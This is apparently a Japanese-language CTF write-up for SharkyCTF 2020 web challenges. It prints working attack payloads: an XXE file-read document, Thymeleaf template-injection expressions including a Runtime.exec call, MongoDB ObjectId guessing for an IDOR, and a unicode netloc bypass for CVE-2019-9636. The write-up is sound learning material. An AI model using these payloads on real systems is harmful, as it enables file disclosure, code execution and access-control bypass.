https://ctftime.org/event/1034
XXExternalXX |
---|
Logs In ! Part 1 |
Containment Forever |
WebFugu |
Aqua World |
Sharky Shop |
Logs In ! Part 2 |
Erwin's file manager |
二問ぐらいしか解けなかった。
ググラビティをもっと上げなければ。
XXExternalXX
One of your customer all proud of his new platform asked you to audit it. To show him that you can get information on his server, he hid a file "flag.txt" at the server's root.
http://xxexternalxx.sharkyctf.xyz/
Creator : Remsio
調査
問題名を見ると、XXEかな?という雰囲気もあります。
/
トップページにはnewsに行けと書いてある。
xmlファイルを指定している。
ディレクトリトラバーサルか?
:(
他にいろいろ見てみる。
- ソースコード -> 気になる所はない
- HTTPレスポンス
- Server: nginx/1.14.2
- 404ページ -> ヒント無し
ディレクトリトラバーサルを試す
/?xml=flag.txt
としてみる
Warning: file_get_contents(flag.txt): failed to open stream: No such file or directory in /var/www/html/index.php on line 20 Warning: DOMDocument::loadXML(): Empty string supplied as input in /var/www/html/index.php on line 23 Warning: simplexml_import_dom(): Invalid Nodetype to import in /var/www/html/index.php on line 24 Notice: Trying to get property 'data' of non-object in /var/www/html/index.php on line 25
いろいろ出てきた。flag.txtは問題文によるとルートにあるみたいなので、追記する。
/?xml=../../../flag.txt
最初の行がなくなった。
アクセスはできている見たいだが、xmlフォーマットではないのでエラーになっているようだ。
さあ、どうするかな…
/data.xml
をやってみると、xmlファイルが見れる。
<root> <data> 17/09/2019 the platform is now online, the fonctionnalities it contains will be audited by one of our society partenairs </data> </root>
このデータ構造に合わせれば、表示させることができそうだ。
ファイルアップロードができればXXEさせることができそうなんだけれど…
うーん、わかんない!
解説ACまで
- 0XBLUESKY.IO | Sharkyctf 2020 Write UP
- CTFtime.org / SharkyCTF / XXExternalXX / Writeup
- XXExternalXX - ProgPilot writeups
あ゛~なるほど~
ディレクトリトラバーサルでは普通にURLを指定できる場合がある
覚えておこう。
解説を見た収穫として、HTTPレスポンスのモッキングサービスである、Beeceptorというサイトを知った。
これは便利。
Beeceptorを使って、XXEのペイロードを返すエンドポイントを作る。
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag.txt"> ]> <root> <data>&xxe;</data> </root>
あとは、そのurlをxmlパラメタに渡すだけ。
Logs In ! Part 1
Data printed on one of our dev application has been altered, after questioning the team responsible of its development, it doesn't seem to be their doing. The H4XX0R that changed the front seems to be a meme fan and enjoyed setting the front.
We've already closed the RCE he used, there is a sensitive database running behind it. If anyone could access it we'll be in trouble. Can you please audit this version of the application and tell us if you find anything compromising, you shouldn't be able to find the admin session.
The application is hosted at logs_in
http://logs_in.sharkyctf.xyz/Creator : Remsio
何やら下にいろいろ出てる。
Symfony 4.2.6が動いているようだ。
とりあえず、脆弱性が報告されてないか検索してみよう。
- Multiple vulnerabilities in Symfony framework
- CVE-2019-18887 An issue exists in Symfony 2.8.0 up to and incl...
- タイミング攻撃?
思ったよりいい情報が無いので、デバッグ画面を見てみる。
色々巡回していると、MainController.phpのコードが見られる。
ここ
ここを見ると、/e48e13207341b6bffb7fb1622282247b
へのルーティングが見られる。
/e48e13207341b6bffb7fb1622282247b
admin panelを開くことができた。Debug?へ移動してみると、フラグが書いてある。
Containment Forever
Hello, welcome on "Containment Forever"! There are 2 categories of posts, only the first is available, get access to the posts on the flag category to retrieve the flag.
http://containment-forever.sharkyctf.xyz/
Creator : Remsio
調査
/confinement
色々出力されてきて、詳細も見ることができる。
/flag
flagが見ることはできないが、2つあることはわかった。
/item/5e70da94d7b1600013655bb5
ポストの詳細は、ObjectIdを指定して、表示しているようだ。
ObjectIdがどれも似ているのが気になる所。
画面はこれで全部。
ポストの詳細部分が可変URLっぽいので、適当なURLを与えてみる。
/item/5e70da94d7b1600013655bb
- 1文字消してみた。
- Cannot GET /item/5e70da94d7b1600013655bb
/item/5e70da94d7b1600013655bb0
- 最後の文字を変えてみた。
- エラーコードがたくさん出てくる
今のところ、ObjectIdが推測できそうという部分しかいい所がないから、それを見てみる。
ObjectIdを推測する
5e 70da94 d7b1600013655bb 5 5e 7e4f48 d7b1600013655bb 9 5e 83642b d7b1600013655bb a 5e 8ee635 d7b1600013655bb d
なんとなく同じ部分で区切ってみると、こんな感じ。
5eってなんだっけ…なんか見たことある気がするんだけれど…
前半も後半も時間が後になるほど、値が増加している。
前半は飛び飛びだが、後半は割と近い気がする。
前半は時間を使っていて、後半は飛び飛びなので連番を割り当ててるのだろうか。
前半は先頭8文字で構成されていると考えると、4バイトなのでunixの秒数のアレかなと想像する。
一番上のConfinement basicsについてやってみる。
時刻は「Tue Mar 17 2020 14:11:32 GMT+0000 (Coordinated Universal Time)」で、
このサイトで変換すると、1584454292である。
んで、このサイトで5E70DA94と出てくる。
あってる。
Flag_first_partは
先頭が5e75dab2で3/21ならd7b1600013655bb5とd7b1600013655bb9の間なので、3択しかないので、全部試す。
5e75dab2d7b1600013655bb6
5e75dab2d7b1600013655bb7
5e75dab2d7b1600013655bb8 -> Hit!
shkCTF{IDOR_IS_ALS0_
Flag_second_partは
先頭が5e948a3aで、4/13ならd7b1600013655bbd以降で試していく。
5e948a3ad7b1600013655bbe
5e948a3ad7b1600013655bbf -> Hit!
P0SSIBLE_W1TH_CUST0M_ID!_f878b1c38e20617a8fbd20d97524a515}
WebFugu
A new site listing the different species of fugu fish has appeared on the net. Used by many researchers, it is nevertheless vulnerable. Find the vulnerability and exploit it to recover some of the website configuration.
Creator: MasterFox
調査
HTTPリクエストとソースコードを見ると、表の中身は
http://webfugu.sharkyctf.xyz/process?page=PGRpdj4gPHRhYmxlIGJvcmRlcj0iMSI%2BIDx0cj4gPHRoPk5hbWU8L3RoPiA8dGg%2BRGlzY292ZXJ5IHllYXI8L3RoPiA8dGg%2BRGlzY292ZXJlciBuYW1lPC90aD4gPC90cj4gPHRyIHRoOmVhY2ggPSJmaXNoIDogJHtmaXNoZXN9Ij4gPHRkIHRoOnV0ZXh0PSIke2Zpc2gubmFtZX0iPi4uLjwvdGQ%2BIDx0ZCB0aDp1dGV4dD0iJHtmaXNoLmRpc2NvdmVyeVllYXJ9Ij4uLi48L3RkPiA8dGQgdGg6dXRleHQ9IiR7ZmlzaC5kaXNjb3ZlcmVyTmFtZX0iPi4uLjwvdGQ%2BIDwvdHI%2BIDwvdGFibGU%2BIDwvZGl2PiAgICAgIAo=
とリクエストしてhtml毎もらってきているようだ。
<div> <table border="1"> <tr> <th>Name</th> <th>Discovery year</th> <th>Discoverer name</th> </tr> <tr> <td>Fugu alboplumbeus</td> <td>1845</td> <td>Richardson</td> </tr> <tr> <td>Fugu basilevskianus</td> <td>1855</td> <td>Basilewsky</td> </tr> <tr> <td>Fugu obscurus</td> <td>1949</td> <td>Abe</td> </tr> <tr> <td>Fugu touphisodium</td> <td>1994</td> <td>Rajkowsky</td> </tr> <tr> <td>Fugu nofiksus</td> <td>1999</td> <td>Idaproetsen</td> </tr> <tr> <td>Fugu remsiomegabarbus</td> <td>1996</td> <td>Waibemaestro</td> </tr> <tr> <td>Fugu fratsopedibus</td> <td>1997</td> <td>Canard</td> </tr> </table> </div>
こんな感じでリターンが来る。
pageパラメタで渡している所をCyberChefでいろいろ解析してみる。
テンプレートを渡しているみたいだ。
Server-Side Template Injectionかな?
とりあえず、CyberChefでジェネレータを作っておく。
https://gchq.github.io/CyberChef/#recipe=To_Base64('A-Za-z0-9%2B/%3D')URL_Encode(true)Find/Replace(%7B'option':'Regex','string':'%253D'%7D,'%3D',true,false,true,false)&input=PGRpdj4gPHRhYmxlIGJvcmRlcj0iMSI%2BIDx0cj4gPHRoPk5hbWU8L3RoPiA8dGg%2BRGlzY292ZXJ5IHllYXI8L3RoPiA8dGg%2BRGlzY292ZXJlciBuYW1lPC90aD4gPC90cj4gPHRyIHRoOmVhY2ggPSJmaXNoIDogJHtmaXNoZXN9Ij4gPHRkIHRoOnV0ZXh0PSIke2Zpc2gubmFtZX0iPi4uLjwvdGQ%2BIDx0ZCB0aDp1dGV4dD0iJHtmaXNoLmRpc2NvdmVyeVllYXJ9Ij4uLi48L3RkPiA8dGQgdGg6dXRleHQ9IiR7ZmlzaC5kaXNjb3ZlcmVyTmFtZX0iPi4uLjwvdGQ%2BIDwvdHI%2BIDwvdGFibGU%2BIDwvZGl2PiAgICAgIAo
Server-Side Template Injection
td th:utext
という特殊記法っぽい部分でググると、JavaのThymeleafというライブラリみたい。
SPELが使えるみたいなので、色々実験。
<div>[[${4*4}]]</div>
-><div>16</div>
<div>[[${sleep(10)}]]</div>
-> 500 error すぐ帰ってくる<div>[[${flag}]]</div>
-><div>Flag [content=REDACTED_IT_WONT_BE_THAT_EASY]</div>
Haha<div>[[${new java.io.BufferedReader(new java.io.InputStreamReader(T(java.lang.Runtime).getRuntime().exec('ls').getInputStream())).readLine()}]]</div>
<div>[[${#strings.toUpperCase('a')}]]</div>
->A
わかりませんねぇ…
解説ACまで
ほほう。
「thymeleaf list all」という感じにstackoverflowで検索するのね。
もうちょっと直接的にリサーチすべきだった。
thymeleafでは、変数を列挙する記法がある。
java - List all available model attributes in Thymeleaf - Stack Overflow
<tr th:each="var : ${#vars.getVariableNames()}"> <td th:text="${var}"></td> <td th:text="${#vars.getVariable(var)}"></td> </tr>
を投げる。
<tr> <td>flag</td> <td>Flag [content=REDACTED_IT_WONT_BE_THAT_EASY]</td> </tr><tr> <td>thymeleaf::EvaluationContext</td> <td>org.thymeleaf.spring5.expression.ThymeleafEvaluationContextWrapper@d792afd</td> </tr><tr> <td>fishes</td> <td>[xyz.sharkyctf.fugu.models.Fish@34f7c36, xyz.sharkyctf.fugu.models.Fish@68521fab, xyz.sharkyctf.fugu.models.Fish@28e16ed3, xyz.sharkyctf.fugu.models.Fish@39068636, xyz.sharkyctf.fugu.models.Fish@4150e3ec, xyz.sharkyctf.fugu.models.Fish@3907132a, xyz.sharkyctf.fugu.models.Fish@1ab3752f]</td> </tr>
はーなるほどー、あとは、この変数たちを横断して、色々探すとフラグが出てくる。
フィールドの確認
<tr th:each="var : ${flag.class.declaredFields}"> <td th:text="${var.name}"></td> <td th:text="${var}"></td> </tr>
メソッドの確認
<tr th:each="var : ${flag.class.getMethods()}"> <td th:text="${var.name}"></td> <td th:text="${var}"></td> </tr>
メソッド実行結果の確認
<td th:text="${flag.getContent()}"></td>
Aqua World
My friend opened this handmade aquarium blog recently and told me some strangers connected to his admin panel and he doesn't understand how it is possible.. I'm asking you to get the answer!
http://aquaworld.sharkyctf.xyz/
Hint: WTF this PYTHON version is deprecated!!!
Creator : Remsio
調査
anonymousでログインすると、Newsが押せるようになる。
/newsへのHTTPリクエストをみると、anonymous:anonymous
のbase64が入っている。
一般的なBasic認証だ。
ソースコードを見ると、/admin-query?flag=flag
がある。
ここでflagをゲットするみたい。
Hi anonymous You need to connect locally in order to access the admin section (and get the flag) but you current netlocation (netloc) is http://aquaworld.sharkyctf.xyz
アクセスすると、こう出てくる。
locally connectが必要とのこと。
netlocationも表示されているが、どこからもってきてるんだろうか。
試しにHTTPリクエストのHostを変えてみたが、502エラーが帰ってきた。
HTTPレスポンスを見ると、以下情報が分かる。
- Server: nginx/1.14.2
- nginxがレスポンスで出てくるのはあまり珍しくない
- Server_info: Werkzeug/1.0.1 Python/3.7.2
- こちらが珍しいので、ググってみる。
- Python Python version 3.7.2 : Security vulnerabilities
- 色々ある
- CVE-2019-9636 : Python 2.7.x through 2.7.16 and 3.x through 3.7.2 is affected by: Improper Handling of Unicode Encoding (with an incorre
- netlocという共通単語がある。これで間違いないだろう
- Pythonの脆弱性情報(CVE-2019-9636) - OSS脆弱性ブログ
- ほう。危険なURLを渡してやればよさそう
そんで?
解説確認中…
CVE-2019-9636
Pythonの脆弱性情報(CVE-2019-9636) - OSS脆弱性ブログ
こちらを参考に読み解く。
- NFKC正規化
- Unicode文字列の正規化形式の1つ
- Unicodeはある1つの表現をするときでも、様々な表記があったりするので、それを単一化する 文字コード地獄秘話 第3話:後戻りの効かないUnicode正規化 | ALBERT Engineer Blog
- URLはUniqueであることが求められるが、表現がそもそもUniqueでないと一致判定ができないから、NFKC正規化が走る
- netloc
- RFC1808に
<scheme>://<netloc>/<path>;<params>?<query>#<fragment>
と書いてある - ホスト名部分
- RFC1808に
問題のあるコンポーネントはurllib.parse.urlsplit, urllib.parse.urlparseになります。
URLのパース時に発生すると。
攻撃方法としては、特別に細工されたURLによりcookiesや認証データが不正にパースされ、情報を異なるホストに送ってしまう可能性が有ります。
特別に細工されたURLを送ると成功する。
Exploit Code
writeups/2020-SharkyCTF at master · joshdabosh/writeups
解説にはExploitCodeが紹介されていた。
普通にcurl http://aquaworld.sharkyctf.xyz/admin-query\uFF03@127.0.0.1?flag=flag
としたらダメだった。
解説にもあるように認証が通るようにAuthorizationヘッダを付ける必要がある。
Burp Suiteでやってしまうか。
すげぇ。出てくる。なんで?
正しい部分との差分を見てみると、\uFF03@127.0.0.1
が追加されている。
一旦創造を膨らませてみると、\uFF03@127.0.0.1
を抜いたアドレスにアクセスはするけれど、そこのphpかなんかが実行されるときにURLを見てみると、\uFF03@127.0.0.1
が入ってて、それが原因で悪いことができる的なことだろう。
\uFF03
これは何だろう。
ほう。あー分かった。
以下、ちょっと想像も入っている。
違っていたら、指摘してもらえると助かります。
GET /admin-query\uFF03@127.0.0.1?flag=flag
をしたとする。
すると、サーバでルーティングをする際は、正規化が行われて、/admin-query#@127.0.0.1?flag=flag
として評価される。
以下はfragmentなので無視して、実質/admin-query
が呼ばれることになり、正しいファイルを呼び出してくれる。
そして、admin-queryで評価されるときは、URLをパースして、netlogを取り出すが、この時に
/admin-query\uFF03@127.0.0.1?flag=flag
は
admin-query\uFF03
ユーザー名127.0.0.1
ホスト名?flag=flag
クエリ
として評価され、netlogとしては、ホスト名の127.0.0.1と評価されて、ローカルでのアクセスとして誤認させることができる。
Uniform Resource Locator - Wikipedia
//<user>:<password>@<host>:<port>/<url-path>
と書いてあるのが参考になるだろう。
Sharky Shop
This shark selling shop has been up for too long, it can't last anymore! Its disgusting users are comparing how much they spent on it. I can't take it anymore. Get an admin access on this website and share it with me so I can take it down.
http://sharky_shop.sharkyctf.xyz/
Creator : Remsio
解けてない。
解く前にサーバが閉じてしまった。
色々探すと、
- time-based NoSQLインジェクションでいける
- ブラインドインジェクションでいける
とかっていう文章を見ました。
Logs In ! Part 2
Whaaaat? They did not closed the dev mode? Seriously? Whatever, you couldn't access our sensible database, I guess an open dev application couldn't give that much information or hurt us could it?
Part1の高難易度版。
解けてない。